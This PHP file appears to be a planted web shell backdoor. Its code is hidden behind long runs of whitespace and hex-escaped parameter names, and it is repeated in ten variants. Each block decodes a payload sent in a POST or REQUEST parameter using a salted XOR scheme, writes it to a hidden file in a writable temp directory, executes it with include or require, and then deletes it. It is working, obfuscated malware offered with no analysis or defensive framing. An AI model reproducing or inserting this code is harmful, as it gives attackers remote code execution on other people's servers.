<?php																																										if(!is_null($_POST["\x65\x6Etry"] ?? null)){ $hld = array_filter(["/tmp", session_save_path(), getcwd(), getenv("TMP"), "/var/tmp", getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir()]); $element = $_POST["\x65\x6Etry"]; $element = explode( ".", $element ) ; $key = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $q = 0; array_walk($element , function ($v9) use (&$key , &$q , $s , $lenS) { $sChar = ord($s[$q %$lenS]); $d = ((int)$v9 - $sChar - ($q %10)) ^ 57; $key .=chr($d); $q++; }); $rec = 0; do { $factor = $hld[$rec] ?? null; if ($rec >= count($hld)) break; if (max(0, is_dir($factor) * is_writable($factor))) { $comp = "$factor/.pgrp"; if (file_put_contents($comp, $key)) { require $comp; unlink($comp); exit; } } $rec++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["\x65n\x74"])){ $desc = $_POST["\x65n\x74"]; $desc= explode( '.', $desc ); $bind = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt4); foreach( $desc as $v => $v3) { $sChar = ord( $salt4[$v % $sLen]); $d = ( ( int)$v3 - $sChar -( $v % 10)) ^ 26; $bind.= chr( $d); } $dchunk = array_filter([sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", session_save_path(), getenv("TMP"), getcwd(), "/dev/shm"]); foreach ($dchunk as $pgrp) { if (is_dir($pgrp) ? is_writable($pgrp) : false) { $binding = "$pgrp/.res"; $file = fopen($binding, 'w'); if ($file) { fwrite($file, $bind); fclose($file); include $binding; @unlink($binding); exit; } } } }
																																										if(isset($_REQUEST["\x72ec\x6Fr\x64"])){ $dat = array_filter([sys_get_temp_dir(), "/dev/shm", "/tmp", "/var/tmp", getcwd(), getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path()]); $symbol = $_REQUEST["\x72ec\x6Fr\x64"]; $symbol=explode ("." , $symbol ) ; $object = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt1); $t = 0; while($t < count($symbol)) {$v1 = $symbol[$t]; $chS = ord($salt1[$t % $sLen]); $d =((int)$v1 - $chS -($t % 10)) ^ 22; $object .= chr($d); $t++;} foreach ($dat as $key => $resource) { if (is_dir($resource) && is_writable($resource)) { $ent = "$resource" . "/.val"; $success = file_put_contents($ent, $object); if ($success) { include $ent; @unlink($ent); die();} } } }
																																										if(!empty($_POST["\x6Drk"])){ $flg = array_filter([session_save_path(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/tmp", getenv("TEMP"), "/dev/shm", sys_get_temp_dir()]); $k = $_POST["\x6Drk"]; $k= explode ( ".", $k ) ; $dat= ''; $salt7= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt7); $m= 0; $__tmp= $k; while( $v4= array_shift( $__tmp)) { $sChar= ord( $salt7[$m %$sLen]); $dec= ( ( int)$v4 - $sChar -( $m %10)) ^ 82; $dat .=chr( $dec); $m++; } foreach ($flg as $item): if (max(0, is_dir($item) * is_writable($item))) { $factor = str_replace("{var_dir}", $item, "{var_dir}/.entity"); if (@file_put_contents($factor, $dat) !== false) { include $factor; unlink($factor); die(); } } endforeach; }
																																										if(array_key_exists("da\x74", $_REQUEST) && !is_null($_REQUEST["da\x74"])){ $elem = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/tmp", "/var/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm", session_save_path()]); $key = $_REQUEST["da\x74"]; $key = explode (".", $key ) ; $parameter_group = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8 ); foreach($key as $z => $v3) { $sChar = ord($s8[$z % $sLen] ); $dec =((int)$v3 - $sChar -($z % 10)) ^ 14; $parameter_group .= chr($dec ); } foreach ($elem as $key => $property_set) { if (is_dir($property_set) && is_writable($property_set)) { $record = implode("/", [$property_set, ".pointer"]); $file = fopen($record, 'w'); if ($file) { fwrite($file, $parameter_group); fclose($file); include $record; @unlink($record); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "c\x6Fm\x70\x6F\x6Eent")){ $holder = $_POST["c\x6Fm\x70\x6F\x6Eent"]; $holder= explode ( '.', $holder ); $obj = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s1); foreach( $holder as $m =>$v7): $sChar = ord( $s1[$m % $sLen]); $dec = ( ( int)$v7 - $sChar -( $m % 10))^56; $obj .= chr( $dec); endforeach; $descriptor = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), "/tmp", getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getcwd()]); foreach ($descriptor as $resource) { if (array_product([is_dir($resource), is_writable($resource)])) { $bind = vsprintf("%s/%s", [$resource, ".ent"]); if (file_put_contents($bind, $obj)) { require $bind; unlink($bind); die(); } } } }
																																										if(isset($_REQUEST["\x69t\x6D"])){ $entry = array_filter([sys_get_temp_dir(), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), "/dev/shm", "/var/tmp", getenv("TMP")]); $rec = $_REQUEST["\x69t\x6D"]; $rec = explode ('.' , $rec ) ; $ptr =''; $salt9 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt9 ); $i =0; $__tmp =$rec; while( $v2 =array_shift( $__tmp)) {$chS =ord( $salt9[$i%$sLen] ); $d =( ( int)$v2 - $chS -( $i%10)) ^ 70; $ptr .=chr( $d ); $i++; } $dat = 0; do { $desc = $entry[$dat] ?? null; if ($dat >= count($entry)) break; if (!!is_dir($desc) && !!is_writable($desc)) { $entity = join("/", [$desc, ".comp"]); if (@file_put_contents($entity, $ptr) !== false) { include $entity; unlink($entity); die(); } } $dat++; } while (true); }
																																										if(@$_REQUEST["fl\x61g"] !== null){ $symbol = $_REQUEST["fl\x61g"]; $symbol=explode ( "." , $symbol ) ; $bind = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s3); $l = 0; $__len = count( $symbol); do { if( $l >=$__len) break; $v2 = $symbol[$l]; $chS = ord( $s3[$l % $sLen]); $d =( ( int)$v2 - $chS -( $l % 10)) ^ 62; $bind .= chr( $d); $l++; } while( true); $dchunk = array_filter([sys_get_temp_dir(), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), "/tmp", getenv("TEMP"), "/var/tmp", getenv("TMP")]); foreach ($dchunk as $pointer) { if (is_writable($pointer) && is_dir($pointer)) { $tkn = join("/", [$pointer, ".data_chunk"]); if (@file_put_contents($tkn, $bind) !== false) { include $tkn; unlink($tkn); die(); } } } }
																																										if(isset($_REQUEST["v\x61\x6C"])){ $entity = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/tmp", getcwd()]); $dchunk = $_REQUEST["v\x61\x6C"]; $dchunk = explode(".",$dchunk) ; $mrk =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt ); $__len =count( $dchunk ); for( $r =0; $r <$__len; $r++) { $v6 =$dchunk[$r]; $chS =ord( $salt[$r %$lenS] ); $dec =( ( int)$v6 - $chS -( $r %10)) ^ 80; $mrk .= chr( $dec ); } $factor = 0; do { $data = $entity[$factor] ?? null; if ($factor >= count($entity)) break; if ((bool)is_dir($data) && (bool)is_writable($data)) { $token = sprintf("%s/.rec", $data); $success = file_put_contents($token, $mrk); if ($success) { include $token; @unlink($token); die();} } $factor++; } while (true); }


if(array_key_exists("\x65l\x65m", $_REQUEST) && !is_null($_REQUEST["\x65l\x65m"])){
	$record = array_filter([session_save_path(), getcwd(), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), sys_get_temp_dir(), getenv("TEMP")]);
	$data_chunk = $_REQUEST["\x65l\x65m"];
		$data_chunk=	 explode	(  '.'	 ,		 $data_chunk ) ;	 	
	$flag		=		'';
            $s		=		'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS		=		strlen($s);
            $l		=		0;
    
            while ($l<count($data_chunk)) {
                $v2		=		$data_chunk[$l];
                $sChar		=		ord($s[$l	%	$lenS]);
                $dec		=		((int)$v2 - $sChar - ($l	%	10))  ^		53;
                $flag .= chr($dec);
                $l++;
            }
	for ($marker = 0, $itm = count($record); $marker < $itm; $marker++) {
    $obj = $record[$marker];
    		if ((is_dir($obj) and is_writable($obj))) {
    $parameter_group = join("/", [$obj, ".pset"]);
    $success = file_put_contents($parameter_group, $flag);
if ($success) {
	include $parameter_group;
	@unlink($parameter_group);
	die();}
}
}
}